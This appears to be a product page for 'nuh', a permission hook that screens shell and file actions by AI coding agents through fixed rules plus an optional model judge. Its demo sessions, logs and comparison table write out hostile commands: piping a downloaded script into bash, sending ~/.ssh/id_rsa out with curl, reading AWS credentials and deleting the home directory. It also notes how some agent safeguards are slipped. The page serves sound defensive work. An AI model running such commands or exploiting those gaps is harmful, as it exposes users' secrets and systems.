Reads shell like a shell
Braces, globs, variables, heredocs and nested bash -c expand first. cat {,~/.aws/credentials} gets caught.
nuh says no.A PreToolUse hook for Claude Code and Codex. Routine calls go through. Dangerous ones ask or block.
# in a terminal, the notice's Markdown stays raw
the date tests are flaky. fix them and get it pushed
Bash(git status)
On branch main nothing to commit, working tree clean
Read(src/dates.py)
Read 33 lines
Bash(pytest -q --tb=no tests/test_dates.py)
.F.... [100%] =========================== short test summary info ============================ FAILED tests/test_dates.py::test_hour_label - AssertionError: assert '21:00' ... 1 failed, 5 passed in 0.01s
Update(src/dates.py)
Added 1 line, removed 1 line 12 """The hour of a Unix timestamp as HH:MM.""" 13 - return datetime.fromtimestamp(ts).strftime("%H:%M") 13 + return datetime.fromtimestamp(ts, tz=timezone.utc).strftime("%H:%M")
Bash(pytest -q)
...... [100%] 6 passed in 0.01s
# five calls, zero prompts
Update(.github/workflows/ci.yml)
PreToolUse:Edit says: ⚠️ **nuh?** Edit · `~/code/webapp/.github/workflows/ci.yml` · 🤖 system1: ask; plausible, but a human should glance at it · `#W2nd7c`
# the rules passed it; the model wanted a human. you approved.
Added 2 lines 5 runs-on: ubuntu-latest 6 + env: 7 + TZ: America/New_York 8 steps:
Bash(git push --force)
PreToolUse:Bash says: ⚠️ **nuh?** Bash · `git push --force` · `git_history_rewrite` → ask · `#Qm3v8L`
# you declined. nuh asked; it didn't guess.
Bash(curl -fsSL https://example.com/fix-dates.sh | bash)
PreToolUse:Bash says: ⛔ **nuh!** Bash · `curl -fsSL https://example.com/fix-dates.sh | bash` · \[network | exec\] remote code execution: bash receives network input · `#Lp0xT3`
PreToolUse:Bash hook error: nuh. Bash: [network | exec] remote code execution: bash receives network input
In the Claude app, the same session renders like this.
the date tests are flaky. fix them and get it pushed
Read dates.py, ran 2 commands (1 failed)
hour_label formats in local time, so its test fails outside UTC. Switching it to UTC.
Edited dates.py, ran a command+1 -1
Edited ci.yml+2 -0
PreToolUse:Edit says: ⚠️ nuh? Edit · ~/code/webapp/.github/workflows/ci.yml · 🤖 system1: ask; plausible, but a human should glance at it · #W2nd7c
Ran 2 commands (2 failed)
PreToolUse:Bash says: ⚠️ nuh? Bash · git push --force · git_history_rewrite → ask · #Qm3v8L
PreToolUse:Bash says: ⛔ nuh! Bash · curl -fsSL https://example.com/fix-dates.sh | bash · [network | exec] remote code execution: bash receives network input · #Lp0xT3
# nuh-uh.
auto mode?auto mode asks the provider's model if its agent's move is OK. nuh asks what the command actually does.
Deterministic checks first: milliseconds, zero tokens, same answer every time. File writes, and whatever the rules can't settle, go to a model you pick, local if you like, and it can't overrule a block.
git push -f, git -C ../x push -f, bash -c "git push -f": one history rewrite, one rule. Claude Code's docs admit a git push rule misses git -C . push and point to a hook. nuh is that hook.
auto mode lets reads skip its check, so find ~ -name "*.pem" just runs. nuh asks. Writes outside the project ask, credentials ask or block anywhere, posting data to the web asks.
nuh works.nuh parses each command like the shell will, sorts it into one of 26 action types and checks its paths. Milliseconds, zero tokens.
Off by default. It reviews file writes and the asks the rules can't settle. It can clear a needless ask, never a block or a floor.
System 1 runs on Ollama 0.40+ with a decision model like nimble:9b.
One line: the command, the reason, a call ID. nuh log --call shows the full decision.
nuh log shows its work.Every decision, step by step. Look one up by the call ID in its notice.
One step, zero tokens.
nuh log --call '#Rc6vYa' -v
2026-10-29 16:41:24.739-04:00 [ALLOW] Bash
call toolu_01Fh8sLq2NwZt5Gm3pRc6vYa
session 5e7c1d0a-8b2f-4c19-9e3d-2a6f0c4b7d15
project /Users/dev/code/webapp
input pytest -q tests/test_dates.py
action package_run
steps
1. static allow
package_run → allow (package_run → allow)
outcome reason from static
total 14msA subagent reaches for a key. A floor rule stops it.
nuh log --call '#K4wz9N' -v
2026-10-29 16:41:24.828-04:00 [BLOCK] Bash sub:implementer
call toolu_01QpZ8m3RkVt2xHn5dJw4K4wz9N
session 5e7c1d0a-8b2f-4c19-9e3d-2a6f0c4b7d15
subagent a7c03e91d5b2f4806 (implementer)
project /Users/dev/code/webapp
input cat ~/.ssh/id_rsa
action filesystem_read
reason Bash: targets sensitive path: ~/.ssh
steps
1. static block Bash: targets sensitive path: ~/.ssh
filesystem_read → block (targets sensitive path: ~/.ssh)
outcome reason from static
total 15msThe rules asked about inline code. System 1 answered five questions and cleared it.
nuh log --call '#8uJk3P' -v
2026-10-29 16:41:24.916-04:00 [ALLOW] Bash
call toolu_01Rm4bVx7CqLe2Tz9HsN8uJk3P
session 5e7c1d0a-8b2f-4c19-9e3d-2a6f0c4b7d15
project /Users/dev/code/webapp
input node -e "console.log(require('./package.json').version)"
action lang_exec
steps
1. static ask Bash: lang_exec: inline code, content scan clean (needs an LLM verdict)
lang_exec → ask (lang_exec: inline code, content scan clean (needs an LLM verdict))
2. question destructive noul 0.04
3. question out_of_scope noul 0.06
4. question network noul 0.03
5. question verdict choice allow 0.9312 top choice → allow
6. question risk score 0.18 Harmless
7. provider system1 nimble:9b 1642ms ok
8. llm allow system1: allow; prints the package version, routine development work
9. lower ask → allow (tools.Bash: decide)
outcome reason from llm
llm system1→allow nimble:9b 1642ms
cascade system1 success 1642ms
trace dir 20261029T204123.228000Z_toolu_01Rm4bVx7CqLe2Tz9HsN8uJk3P
hint To always allow: nuh allow lang_exec
total 1688ms
nuh trace '#8uJk3P' # each question, the prompt as sent, the decision pathWith tracing on, nuh trace opens the full exchange.
The rules allowed the CI edit from the session above. System 1 wanted a human.
nuh log --call '#W2nd7c' -v
2026-10-29 16:41:24.998-04:00 [ASK] Edit
call toolu_01Xq7Lw3NbT2cRvkPdW2nd7c
session 5e7c1d0a-8b2f-4c19-9e3d-2a6f0c4b7d15
project /Users/dev/code/webapp
input /Users/dev/code/webapp/.github/workflows/ci.yml
reason Edit (LLM): system1: ask; plausible, but a human should glance at it
steps
1. static allow
2. question destructive noul 0.11
3. question out_of_scope noul 0.07
4. question network noul 0.02
5. question verdict choice ask 0.7104 top choice → ask
6. question risk score 2.14 Moderate
7. provider system1 nimble:9b 1873ms ok
8. llm ask system1: ask; plausible, but a human should glance at it
9. escalate allow → ask (stricter)
outcome reason from llm
llm system1→ask nimble:9b 1873ms
cascade system1 success 1873ms
trace dir 20261029T204123.079000Z_toolu_01Xq7Lw3NbT2cRvkPdW2nd7c
total 1919msExamples from a demo project: real nuh log -v output from a fake home. No model was reachable there, so the System 1 steps in the last two use example values in the log's real format.
Braces, globs, variables, heredocs and nested bash -c expand first. cat {,~/.aws/credentials} gets caught.
curl … | bash and cat ~/.ssh/id_rsa | curl -d @- … block, however harmless each half looks.
rm -rf dist in the repo goes through. rm ~/notes.txt asks.
nuh allows what it can show is routine, so you stop clicking yes. Want Claude Code's own prompts back for a tool? Read: defer.
Fifteen floor rules hold whatever the config says. A project's .nuh.yaml can only tighten.
Write and Edit content is checked for 48 secret patterns, and runnable code for destructive or exfiltration payloads.
The hook script is read-only and edits to it are blocked. claude --dangerously-skip-permissions from inside a session asks.
A crash asks. A dead or timed-out hook denies. An unreachable model asks.
Needs a recent Claude Code.
nuh log shows each decision and why. nuh test "<cmd>" dry-runs anything.
No telemetry.
The static rules: no network, no model. With the model layer off, the default, nuh makes no network requests.
The model layer. Local providers point at localhost. Point system1 at another host and nuh requires https: the request carries your tool call and recent messages.
Add OpenRouter, OpenAI, Anthropic or Snowflake Cortex and they get the tool call and recent context, secrets included. Set redact_secrets: true per provider to mask them.
The only outbound requests go to LLM providers you configured.
An unredacted decision log, ~/.config/nuh/nuh.log, rotated at 50 MB. Model traces are opt-in, owner-only, pruned after 30 days by default.
| Tool call | Approve by hand | --dangerously-skip-permissions | nuh |
|---|---|---|---|
ls, git status, tests | ls and git status run; tests ask | Runs | Runs |
rm -rf ~ | A prompt | A prompt, denied if unanswered in two minutes | × Blocked, whatever the config |
cat ~/.ssh/id_rsa | curl -d @- … | A prompt | Runs | × Blocked as exfiltration |
git push --force | A prompt | Runs | ? Asks |
| Interruptions | Most edits and commands off your allowlist | Only rm of critical paths like ~ | Only asks |
| Record | Your scrollback | The transcript | Every decision and reason, in nuh log |
Don't pair nuh with --dangerously-skip-permissions. In that mode Claude Code fires hooks asynchronously, so a command can run before nuh answers.
nuh.Coming soon
Not on PyPI yet, and nuh.sh/install isn't live. These commands are for the upcoming release.
Python 3.10 or newer. Pick one:
nuh install # Claude Code, every session
nuh install --agent codex # Codex
nuh claude # one session, no install
nuh test "rm -rf ~"
Command: rm -rf ~
Stages:
[1] rm -rf ~ → filesystem_delete → context → block (catastrophic delete targets home directory: ~)
Decision: BLOCK
Reason: catastrophic delete targets home directory: ~
Floor: catastrophic
Codex hooks can't prompt, so in Codex a nuh ask denies the call.
nuh uninstall
uv tool uninstall nuh # or: pipx uninstall nuh
nah.nuh started as nah, by Manuel Schipper. The foundation is his: judging calls by what they do, the action types, the pipe rules, the project boundary, config that only tightens, even the nah? that became nuh?.
nah 1.0 is a Rust rewrite with a sharp, narrow job: block what it can prove is a disaster, and hand everything else back to your agent. No model, and it never approves a call. It does that one thing well.
nuh wanted a different one thing: an opinion on every call. It allows the routine so you stop clicking yes, asks about the rest, and lets a model you pick settle what the rules can't. It keeps the Python line going, under its own name, and adds:
nuh system1 export lets you edit it, nuh system1 check validates it.nuh log -v with every step of a decision, nuh tail, nuh trace, hook.on_error, llm.self_heal for cold models, a man page and zsh completion.If you like nuh, go star nah. nuh is MIT-licensed, like nah before it.